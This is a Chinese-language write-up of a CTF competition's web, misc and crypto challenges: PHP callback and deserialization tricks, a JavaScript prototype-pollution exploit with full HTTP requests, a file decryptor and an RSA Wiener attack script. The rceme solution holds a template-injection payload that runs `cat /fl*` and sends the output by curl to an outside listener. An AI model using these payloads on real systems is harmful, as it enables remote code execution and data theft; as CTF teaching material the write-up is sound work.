学长带我们打了打😀

Web

easyphp

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
//题目环境:php:7.4.8-apache
$pid = pcntl_fork();
if ($pid == -1) {
die('could not fork');
}else if ($pid){
$r=pcntl_wait($status);
if(!pcntl_wifexited($status)){
phpinfo();
}
}else{
highlight_file(__FILE__);
if(isset($_GET['a'])&&is_string($_GET['a'])&&!preg_match("/[:\\\\]|exec|pcntl/i",$_GET['a'])){
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);
}
posix_kill(posix_getpid(), SIGUSR1);
}

参考文章:

1
https://blog.csdn.net/raoxiaoya/article/details/106604519

可以知道只有让挂起的子进程退出才能执行phpinfo()

1
call_user_func_array($_GET['a'],[$_GET['b'],false,true]);

call_user_func_array会调用回调函数,并把一个数组参数作为回调函数的参数

因此我们需要让$_GET['a']表示的函数能够接收三个参数,并且$_GET['b']表示的函数能够接收两个参数,用pcntl_waitpcntl_waitpid让子进程退出

尝试构造payload:

1
2
3
4
?a=register_shutdown_function&b=pcntl_wait
?a=register_shutdown_function&b=pcntl_waitpid
?a=call_user_func&b=pcntl_wait
?a=call_user_func&b=pcntl_waitpid

flag在phpinfo中,CTRL+F搜索flag

rceme

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
<?php
error_reporting(0);
highlight_file(__FILE__);
parserIfLabel($_GET['a']);
function danger_key($s) {
$s=htmlspecialchars($s);
$key=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
$s = str_ireplace($key,"*",$s);
$danger=array('php','preg','server','chr','decode','html','md5','post','get','request','file','cookie','session','sql','mkdir','copy','fwrite','del','encrypt','$','system','exec','shell','open','ini_','chroot','eval','passthru','include','require','assert','union','create','func','symlink','sleep','ord','str','source','rev','base_convert');
foreach ($danger as $val){
if(strpos($s,$val) !==false){
die('很抱歉,执行出错,发现危险字符【'.$val.'】');
}
}
if(preg_match("/^[a-z]$/i")){
die('很抱歉,执行出错,发现危险字符');
}
return $s;
}

function parserIfLabel( $content ) {
$pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
if ( preg_match_all( $pattern, $content, $matches ) ) {
$count = count( $matches[ 0 ] );
for ( $i = 0; $i < $count; $i++ ) {
$flag = '';
$out_html = '';
$ifstr = $matches[ 1 ][ $i ];
$ifstr=danger_key($ifstr,1);
if(strpos($ifstr,'=') !== false){
$arr= splits($ifstr,'=');
if($arr[0]=='' || $arr[1]==''){
die('很抱歉,模板中有错误的判断,请修正【'.$ifstr.'】');
}
$ifstr = str_replace( '=', '==', $ifstr );
}
$ifstr = str_replace( '<>', '!=', $ifstr );
$ifstr = str_replace( 'or', '||', $ifstr );
$ifstr = str_replace( 'and', '&&', $ifstr );
$ifstr = str_replace( 'mod', '%', $ifstr );
$ifstr = str_replace( 'not', '!', $ifstr );
if ( preg_match( '/\{|}/', $ifstr)) {
die('很抱歉,模板中有错误的判断,请修正'.$ifstr);
}else{
@eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
}

if ( preg_match( '/([\s\S]*)?\{else\}([\s\S]*)?/', $matches[ 2 ][ $i ], $matches2 ) ) {
switch ( $flag ) {
case 'if':
if ( isset( $matches2[ 1 ] ) ) {
$out_html .= $matches2[ 1 ];
}
break;
case 'else':
if ( isset( $matches2[ 2 ] ) ) {
$out_html .= $matches2[ 2 ];
}
break;
}
} elseif ( $flag == 'if' ) {
$out_html .= $matches[ 2 ][ $i ];
}
$pattern2 = '/\{if([0-9]):/';
if ( preg_match( $pattern2, $out_html, $matches3 ) ) {
$out_html = str_replace( '{if' . $matches3[ 1 ], '{if', $out_html );
$out_html = str_replace( '{else' . $matches3[ 1 ] . '}', '{else}', $out_html );
$out_html = str_replace( '{end if' . $matches3[ 1 ] . '}', '{end if}', $out_html );
$out_html = $this->parserIfLabel( $out_html );
}
$content = str_replace( $matches[ 0 ][ $i ], $out_html, $content );
}
}
return $content;
}
function splits( $s, $str=',' ) {
if ( empty( $s ) ) return array( '' );
if ( strpos( $s, $str ) !== false ) {
return explode( $str, $s );
} else {
return array( $s );
}
}

题目改自zzzphp rce,参考文章:

1
https://y4er.com/post/zzzphp-rce/

发现过滤了str,因此作者的那种方法用不了了,直接反引号命令执行,用curl外带出flag,构造payload:

1
?a={if:1)`curl 47.97.210.141:9000/\`cat /fl*\``;//}{end if}

服务端用nc监听即可得到flag

littlegame

看了看主要代码,发现得到flag的条件

1
2
3
4
5
let key = req.body.key.toString();
let password = req.body.password.toString();
if(Admin[key] === password){
res.send(process.env.flag);
}

并且key和password是可控的,接着发现setFn这个敏感函数:

1
2
3
let key = req.body.NewAttributeKey.toString();
let value = req.body.NewAttributeValue.toString();
setFn(req.session.knight, key, value);

发现是引入set-value这个包得到的:

1
const setFn = require('set-value');

搜了下,搜到了这篇文章:

1
https://snyk.io/vuln/SNYK-JS-SETVALUE-450213

js原型链污染,为所有对象增加aaa属性

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /Privilege HTTP/1.1
Host: eci-2zefq4smu48613r6o17l.cloudeci1.ichunqiu.com:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: __jsluid_h=93637ceba89c6fddd5299faa318a6cea; session=s%3A7wfZ0-VLrHUCedTzvR8lbsdb9yZkkEZH.8uPhesdOIoUUYn73e63GfvympMqk%2FiBm3cJ6avzlyaY
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 20 Aug 2020 08:01:33 GMT
If-None-Match: W/"1cb-1740ae32748"
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 51

NewAttributeKey=__proto__.aaa&NewAttributeValue=aaa

用污染的键值得到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /DeveloperControlPanel HTTP/1.1
Host: eci-2zefq4smu48613r6o17l.cloudeci1.ichunqiu.com:8888
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: __jsluid_h=93637ceba89c6fddd5299faa318a6cea; session=s%3A7wfZ0-VLrHUCedTzvR8lbsdb9yZkkEZH.8uPhesdOIoUUYn73e63GfvympMqk%2FiBm3cJ6avzlyaY
Upgrade-Insecure-Requests: 1
If-Modified-Since: Thu, 20 Aug 2020 08:01:33 GMT
If-None-Match: W/"1cb-1740ae32748"
Cache-Control: max-age=0
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

key=aaa&password=aaa

easytrick

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
class trick{
public $trick1;
public $trick2;
public function __destruct(){
$this->trick1 = (string)$this->trick1;
if(strlen($this->trick1) > 5 || strlen($this->trick2) > 5){
die("你太长了");
}
if($this->trick1 !== $this->trick2 && md5($this->trick1) === md5($this->trick2) && $this->trick1 != $this->trick2){
echo file_get_contents("/flag");
}
}
}
highlight_file(__FILE__);
unserialize($_GET['trick']);

可以用NANINF绕过,如图:

构造poc:

1
2
3
4
5
6
7
8
9
<?php
class trick{
public $trick1;
public $trick2;
}
$a=new trick();
$a->trick1='NAN';
$a->trick2=NAN;
echo serialize($a);

Misc

签到

等到各个地区助力完成后就会给出flag

the_best_ctf_game

hxd打开可以明显看到flag字样

并且中间隔的都是

1
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 00 00 00 00 0C 00 00 00 E0 FF FF FF B0 FF FF FF 00 00 00 00

直接全局替换成空得到flag

电脑被黑

binwalk分离出

demo用ida64打开得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
int __cdecl main(int argc, const char **argv, const char **envp)
{
int result; // eax
char v4; // [rsp+1Dh] [rbp-13h]
char v5; // [rsp+1Eh] [rbp-12h]
char v6; // [rsp+1Fh] [rbp-11h]
FILE *v7; // [rsp+20h] [rbp-10h]
FILE *stream; // [rsp+28h] [rbp-8h]

v4 = 34;
v5 = 0;
v7 = fopen(argv[1], "rb");
if ( v7 )
{
stream = fopen(argv[1], "rb+");
if ( stream )
{
while ( 1 )
{
v6 = fgetc(v7);
if ( v6 == -1 )
break;
fputc(v4 ^ (v5 + v6), stream);
v4 += 34;
v5 = (v5 + 2) & 0xF;
}
fclose(v7);
fclose(stream);
result = 0;
}
else
{
printf("cannot open file", "rb+", argv);
result = 0;
}
}
else
{
printf("cannot open this file", "rb", argv);
result = 0;
}
return result;
}

题目提示误删数据,用extundelete恢复删除的数据得到flag.txt

逆一下算法,exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
v4=34
v5=0
v7=open("flag.txt","rb").read()
for v6 in v7:
with open("trueflag.txt","ab+") as fp:
# print(str(v6))
a=((int(str(v6))^v4)-v5)%256
if a==-1:
v4=34
v5=0
continue
print(chr(a),end="")
v4+=34;
v5=(v5+2) & 0xf

Crypto

bd

RSA中的维纳攻击,脚本地址:

1
https://github.com/pablocelayes/rsa-wiener-attack

通过维纳攻击计算出d,然后解密就行,脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import ContinuedFractions, Arithmetic, RSAvulnerableKeyGenerator
from binascii import a2b_hex

def hack_RSA(e,n):
'''
Finds d knowing (e,n)
applying the Wiener continued fraction attack
'''
frac = ContinuedFractions.rational_to_contfrac(e, n)
convergents = ContinuedFractions.convergents_from_contfrac(frac)

for (k,d) in convergents:

#check if d is actually the key
if k!=0 and (e*d-1)%k == 0:
phi = (e*d-1)//k
s = n - phi + 1
# check if the equation x^2 - s*x + n = 0
# has integer roots
discr = s*s - 4*n
if(discr>=0):
t = Arithmetic.is_perfect_square(discr)
if t!=-1 and (s+t)%2==0:
print("Hacked!")
return d


c=37625098109081701774571613785279343908814425141123915351527903477451570893536663171806089364574293449414561630485312247061686191366669404389142347972565020570877175992098033759403318443705791866939363061966538210758611679849037990315161035649389943256526167843576617469134413191950908582922902210791377220066
e=46867417013414476511855705167486515292101865210840925173161828985833867821644239088991107524584028941183216735115986313719966458608881689802377181633111389920813814350964315420422257050287517851213109465823444767895817372377616723406116946259672358254060231210263961445286931270444042869857616609048537240249
N=86966590627372918010571457840724456774194080910694231109811773050866217415975647358784246153710824794652840306389428729923771431340699346354646708396564203957270393882105042714920060055401541794748437242707186192941546185666953574082803056612193004258064074902605834799171191314001030749992715155125694272289
d=hack_RSA(e,N)
m=pow(c,d,N)
flag=a2b_hex(hex(m).replace('0x','')).decode()
print(flag)

评论